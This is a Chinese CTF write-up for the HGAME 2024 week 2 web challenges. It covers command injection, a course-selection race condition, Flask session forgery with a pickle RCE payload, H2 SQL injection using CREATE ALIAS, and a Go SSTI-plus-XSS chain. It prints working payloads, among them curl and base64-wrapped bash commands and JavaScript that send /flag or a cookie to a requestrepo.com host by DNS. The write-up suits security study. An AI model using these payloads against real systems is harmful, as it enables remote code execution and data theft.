HGAME week2-web wp
除了java那道和XSS那道,其他挺简单。
What the cow say?
直接可以命令注入,发现flag字符被ban了,但不能直接注入,包裹反引号直接RCE:
一条龙:
Select More Courses
进去后提示弱密码,但是一直找不到对的,dirsearch也搜不到:
还以为方向错了,后面才知道是字典狭隘了呃呃...
最终还是跑出来了:
登录进去又是抢课,但直接抢又抢不上,估计是个多线程条件竞争。
在选课申请那里bp无限发包,再去另一个页面点选课就抢上了:
随缘吧:
然后点选完了就有了:
myflask
简单的flask-session伪造。
首先读源码发现secretkey是用时间戳格式,直接写个脚本爆破:
from datetime import datetime, timedelta from pytz import timezone # 创建Asia/Shanghai时区对象 shanghai = timezone('Asia/Shanghai') # 定义起始时间 start_time = datetime(2000, 1, 1, tzinfo=shanghai) # 定义结束时间 end_time = datetime(2000, 1, 2, tzinfo=shanghai) # 创建输出文件 with open('1.txt', 'w') as file: # 遍历每一秒的时间 while start_time < end_time: # 格式化时间为六位数字并包裹双引号 current_time_str = '"' + start_time.strftime("%H%M%S") + '"' # 写入文件 file.write(current_time_str + '\n') # 增加一秒 start_time += timedelta(seconds=1)
一条龙:
我试了试反弹shell,但是弹不动。估计是不出网的,没有waf,直接popen读:
import base64 import pickle class A(object): def __reduce__(self): return (eval, ("__import__('os').popen('cat /flag').read()",)) a = A() print( base64.b64encode( pickle.dumps(a) ) )
search4member
java的sql注入,但好像不是简单的sql注入爆库爆表爆字段这种。
先看附件,很容易找到这个sql注入的东西:
看看数据库结构:
没有waf,直接测一下sql注入:
aaaa%' union select 1,2,3;--+
#爆库
aaaa%' and 1>2 union SELECT 1,2,database();--+
好怪的数据库,而且数据库里id、intro、blog都找不到flag。
猜测那么这道题应该需要找RCE的点。
我们看看pom.xml里的依赖,然后找到了h2database有RCE漏洞:
H2 database漏洞复现 - Running_J - 博客园 (cnblogs.com)
Spring Boot Actuator hikari配置不当导致的远程命令执行漏洞 - 卖小女孩的小男孩 - 博客园 (cnblogs.com)
其实意思就是CREATE ALIAS创建一个java函数shellexec,然后RCE。
参照以上可以得到两个payload(任选其一):
(vps反弹shell不行,尝试DNS外带)
?keyword=aaaa%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;CALL SHELLEXEC('curl dt2930sg.requestrepo.com');--+
?keyword=aaaa%25';CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL SHELLEXEC('curl dt2930sg.requestrepo.com');--+
测试一下,能够得到response:
最终payload:
前面测试已经注册了SHELLEXEC函数,所以直接写payload就行了:
?keyword=aaaa%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5kdDI5MzBzZy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}');--+
flag用花括号包一下(DNS外带是带不了{ }的):
hgame{1641f3c9f2fe0dbca063cbfb06925009c609fc28}
看看官方wp:
梅开二度
go的SSTI+XSS,以前没咋做过XSS,所以这次复现写详细一点。
源码:
package main import ( "context" "log" "net/url" "os" "regexp" "sync" "text/template" "time" "github.com/chromedp/chromedp" "github.com/gin-gonic/gin" "golang.org/x/net/html" ) var re = regexp.MustCompile(`script|file|on`) var lock sync.Mutex func main() { allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:], chromedp.NoSandbox, chromedp.DisableGPU)...) defer cancel() r := gin.Default() r.GET("/", func(c *gin.Context) { tmplStr := c.Query("tmpl") if tmplStr == "" { tmplStr = defaultTmpl } else { if re.MatchString(tmplStr) { c.String(403, "tmpl contains invalid word") return } if len(tmplStr) > 50 { c.String(403, "tmpl is too long") return } tmplStr = html.EscapeString(tmplStr) } tmpl, err := template.New("resp").Parse(tmplStr) if err != nil { c.String(500, "parse template error: %v", err) return } if err := tmpl.Execute(c.Writer, c); err != nil { c.String(500, "execute template error: %v", err) } }) r.GET("/bot", func(c *gin.Context) { rawURL := c.Query("url") u, err := url.Parse(rawURL) if err != nil { c.String(403, "url is invalid") return } if u.Host != "127.0.0.1:8080" { c.String(403, "host is invalid") return } go func() { lock.Lock() defer lock.Unlock() ctx, cancel := chromedp.NewContext(allocCtx, chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)), ) defer cancel() ctx, _ = context.WithTimeout(ctx, 20*time.Second) if err := chromedp.Run(ctx, chromedp.Navigate(u.String()), chromedp.Sleep(time.Second*10), ); err != nil { log.Println(err) } }() c.String(200, "bot will visit it.") }) r.GET("/flag", func(c *gin.Context) { if c.RemoteIP() != "127.0.0.1" { c.String(403, "you are not localhost") return } flag, err := os.ReadFile("/flag") if err != nil { c.String(500, "read flag error") return } c.SetCookie("flag", string(flag), 3600, "/", "", false, true) c.Status(200) }) r.Run(":8080") } const defaultTmpl = ` <!DOCTYPE html> <html> <head> <title>YOU ARE</title> </head> <body> <div>欢迎来自 {{.RemoteIP}} 的朋友</div> <div>你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div> <div>flag在bot手上,想办法偷过来</div> </body> `
丢chatgpt分析了一下:
这段代码中包含了一些限制函数,用于对输入参数进行校验,防止恶意攻击和非法访问。让我具体解释一下这些限制函数的作用: tmplStr长度和内容校验: 当用户请求的tmpl参数为空时,将其设置为默认模板字符串defaultTmpl。 通过正则表达式re检查tmplStr是否包含无效词语,如"script"、"file"或"on",如果包含则返回403错误。 如果tmplStr长度超过50个字符,返回403错误。 对tmplStr进行HTML转义,以防止XSS攻击,然后将其作为模板字符串解析。 URL合法性校验: 在"/bot"路径的处理函数中,对传入的URL进行解析,并检查其合法性。 确保URL的主机为"127.0.0.1:8080",否则返回403错误。 本地主机校验: 在"/flag"路径的处理函数中,检查请求的远程IP是否为"127.0.0.1",如果不是则返回403错误。 读取flag文件: 通过os.ReadFile()函数尝试读取名为"/flag"的文件内容。 如果读取失败,返回500错误。 这些限制函数通过对输入参数的有效性和合法性进行检查,可以有效防范恶意请求和攻击行为,增强了程序的安全性和稳定性。
直奔主题:
结合源码和分析,XSS部分的步骤已经很明显了,bot可以访问服务器本地,那么就是要在/bot路由传一个伪造127.0.0.1:8080的url参数,里面再套一个tmpl参数想办法插入一个恶意js代码能够访问/flag路由,把flag用cookie的形式带出来。
但是怎么传这个tmpl参数呢?
而且这里面有个正则表达式过滤了script、file、on,就相当于把直接传<script>、<onclick>这种典型的 XSS js代码给ban了,甚至还有长度要小于50的限制,可谓是重重受阻。
怎么破局?我们可以看到这里:
这个{{}}就很耐人寻味。看着很像SSTI,但是我一般只遇到过php的smarty和python的jinja2这种模板注入,go是强类型的静态语言,除了开发者自己写的逻辑漏洞和依赖库都很难有安全问题。而且前两者的SSTI基本可以RCE,但是go的大多只有利用go模板提供的字符串打印功能XSS了。
link:
浅学Go下的ssti - SecPulse.COM | 安全脉搏
Golang中的SSTI | CoolCat' Blog (thekingofduck.com)
再看源码这里用的是text/template的类型:
相较于html/template,后者能够直接把XSS的东西给转义了,而text/template安全性更低一些,但是这个代码里还是用了EscapeString这种方法来规避。
在{{}}
内的操作称之为pipeline:
{{.}} 表示当前对象,如user对象 {{.FieldName}} 表示对象的某个字段 {{range …}}{{end}} go中for…range语法类似,循环 {{with …}}{{end}} 当前对象的值,上下文 {{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择 {{xxx | xxx}} 左边的输出作为右边的输入 {{template "navbar"}} 引入子模版
在go中检测 SSTI 并不像发送 {{7*7}} 并在源代码中检查 49 那么简单,我们需要浏览文档以查找仅 Go 原生模板中的行为,最常见的就是占位符.
在template中,点"."代表当前作用域的当前对象,它类似于java/c++的this关键字,类似于perl/python的self。
在本题中先用 {{.}} 或 {{println 0B101101011011011110001010110}} 试试有无SSTI:
确实存在。
那么还是回到那个问题,怎么把SSTI和这个XSS结合起来?
其实也很简单,只需要访问/bot然后在构造的js里再传参tmpl={{}},里面套娃把flag从cookie带出。
再看这个XSS,有blacklist、有length-limit、有转义,难绷。当时就是给我卡在这里了。
最后找到了完美绕过这仨玩意的payload:
//1、alert弹窗 ?tmpl={{.Query `Eddie`}}&Eddie=<script>alert('XSS')</script>
//2、值回显到页面(也可用alert) ?tmpl={{index .Request.URL.Query.Eddie 0}}&Eddie=eddiemurphy //3、补充个官方wp的 ?tmpl={{.Query.Request.Method}}&GET=eddiemurphy
测试第一个:
其实思路都是殊途同归,都是套了Query套娃然后参数逃逸,这样就可以绕过黑名单、长度限制、转义。
最后一步就是构造js代码了,我们的目的就是用这个js代码访问/flag,然后拿到cookie。
但是本地测了下,这个题有点搞,很多坑,怪不得这么多赛棍就十几个都做出来....
这里用三个方法都打一遍。
坑一:这个题目的确出网,但是vps收不到,只能dns外带。DNSLog Platform 或 Dashboard - requestrepo.com
坑二:又是url编码传参问题,但这个我以前做SSRF用gopher协议的时候就遇到过,前面/bot?tmpl=传参部分1 ,这个传参部分1需要一次URL编码就不说了,但是后面套娃参数Eddie=传参部分2,需要二次URL编码,因为这个第一次传上去解码后后台还要再解码一次。用原作者Jay17师傅的例子:(先把红框里的url编码一次,再把绿框里的整体url编码一次,也就是红框里url编码了两次)
坑三:是cookie的问题,我们看这个源码:
c: 这通常代表当前的请求上下文(context)。在许多Web框架中,c用于访问和操作请求和响应,如获取请求数据、设置响应头或cookie等。 SetCookie: 这是一个方法,用于在用户的浏览器上设置一个cookie。 "flag": 这是cookie的名称。这是你在客户端设置和检索cookie时使用的关键字。 string(flag): 这是cookie的值。flag变量被转换为字符串类型,这是你想存储在用户浏览器中的实际数据。假设flag变量之前已经被定义并且包含了某些信息。 3600: 这是cookie的过期时间,以秒为单位。3600表示cookie将在3600秒后过期,也就是1小时。过期后,浏览器将自动删除该cookie。 "/": 这是cookie的路径。路径限制了cookie可以被哪些页面请求访问。"/"表示这个cookie在域名下的所有页面都是可访问的。 "": 这是cookie的域。这里为空字符串,意味着cookie将应用于当前文档的域名。在实际使用中,你可以通过设置具体的域名来限制cookie只能被该域名或其子域名下的页面访问。 false: 这个参数指定了cookie是否只能通过HTTPS协议传输。false表示cookie既可以在HTTP也可以在HTTPS协议下传输。如果设置为true,则cookie只能在加密的HTTPS连接中被传输,这增加了安全性。 true: 这个参数表示cookie是否应该被标记为HttpOnly。true意味着cookie将被标记为HttpOnly,这意味着它只能通过HTTP(S)请求访问,而不能通过客户端脚本(如JavaScript)访问。这有助于减少跨站脚本攻击(XSS)的风险。
最难绷的就是这个true,也就是设置的httponly,目的就是不让XSS,最后还藏了这个坑。
当一个cookie被标记为HttpOnly,它不能通过客户端脚本(如JavaScript)访问。
这是一个安全措施,旨在防止跨站脚本攻击(XSS)通过盗取cookie来损害用户的安全。
因此,如果一个cookie被设置为HttpOnly,你不能通过在客户端运行的JavaScript代码,如document.cookie,来访问这个cookie。
这里就点题了,梅开二度。
我们仍然需要用go的SSTI把cookie带出来:
http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}
坑四:还有个坑(我操了....),因为flag格式有花括号{},所以dns直接带不出来,base64和url编码也不行,不知道是不是等号=和百分号%这种也受到了限制。那我们就用字符串截取substring()
方法,截取flag中花括号内的纯字符。
或者先转base64然后转十六进制,天无绝人之路。
js代码:
async function fetchData() { // 首先访问网址A await fetch('http://127.0.0.1:8080/flag') .then(response => response.text()) .then(data => console.log('网址A访问成功')) .catch(error => console.error('访问网址A时发生错误:', error)); // 然后访问网址B,并将响应数据赋值给变量X let x; // 定义变量X await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}') .then(response => response.text()) .then(data => { x = data; // 将获取到的数据(网页响应)赋值给变量X }) .catch(error => console.error('访问网址B时发生错误:', error)); window.open("http://Eddie"+x.substring(6,46)+".b3eoelbg.requestrepo.com/");//DNS带出 } // 调用函数 fetchData();
payload demo:
/bot?url=http://127.0.0.1:8080?tmpl={{.Query `Eddie`}}&Eddie=<script>【JS代码,用来XSS】</script>
payload(正确url编码后,记得用url全编码):
/bot?url=http%3A%2F%2F127.0.0.1%3A8080%3Ftmpl%3D%7B%7B.Query%20%60Eddie%60%7D%7D%26Eddie%3D%253Cscript%253Easync%2520function%2520fetchData()%2520%257B%250A%2520%2520%2520%2520%252F%252F%2520%25E9%25A6%2596%25E5%2585%2588%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252Fflag')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520console.log('%25E7%25BD%2591%25E5%259D%2580A%25E8%25AE%25BF%25E9%2597%25AE%25E6%2588%2590%25E5%258A%259F'))%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%250A%2520%2520%2520%2520%252F%252F%2520%25E7%2584%25B6%25E5%2590%258E%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25EF%25BC%258C%25E5%25B9%25B6%25E5%25B0%2586%25E5%2593%258D%25E5%25BA%2594%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520let%2520x%253B%2520%252F%252F%2520%25E5%25AE%259A%25E4%25B9%2589%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252F%253Ftmpl%253D%257B%257B.Cookie%2520%2560flag%2560%257D%257D')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520%257B%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520x%2520%253D%2520data%253B%2520%252F%252F%2520%25E5%25B0%2586%25E8%258E%25B7%25E5%258F%2596%25E5%2588%25B0%25E7%259A%2584%25E6%2595%25B0%25E6%258D%25AE%25EF%25BC%2588%25E7%25BD%2591%25E9%25A1%25B5%25E5%2593%258D%25E5%25BA%2594%25EF%25BC%2589%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D)%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%2520%2520%2520%2520window.open(%2522http%253A%252F%252FEddie%2522%252Bx.substring(6%252C46)%252B%2522.b3eoelbg.requestrepo.com%252F%2522)%253B%252F%252FDNS%25E5%25B8%25A6%25E5%2587%25BA%250A%257D%250A%252F%252F%2520%25E8%25B0%2583%25E7%2594%25A8%25E5%2587%25BD%25E6%2595%25B0%250AfetchData()%253B%253C%252Fscript%253E
直接访问:
故flag:
hgame{fdbe48cba7dd1dcdc79b4fa7386fb06767ddc5a7}
至于为什么我知道是substring(6,46),前面6就不说了,就是前六个hgame{不看了从第七个也就是花括号里第一个有效字符开始,而46是因为如果是47、48、49...这种大了的根本没有回显带出来,试试就知道了。
这道题还是仁慈了,flag里是十六进制数字,如果不是那就需要先用base64转然后转十六进制这种带出来,而且substring的分段也要写几次。
详见:
HGAME2024-WEB WP - gxngxngxn - 博客园 (cnblogs.com)
官方wp:
参考:
HGAME2024-WEB WP - gxngxngxn - 博客园 (cnblogs.com)
HGAME 2024 WEEK2 Web方向题解 全-CSDN博客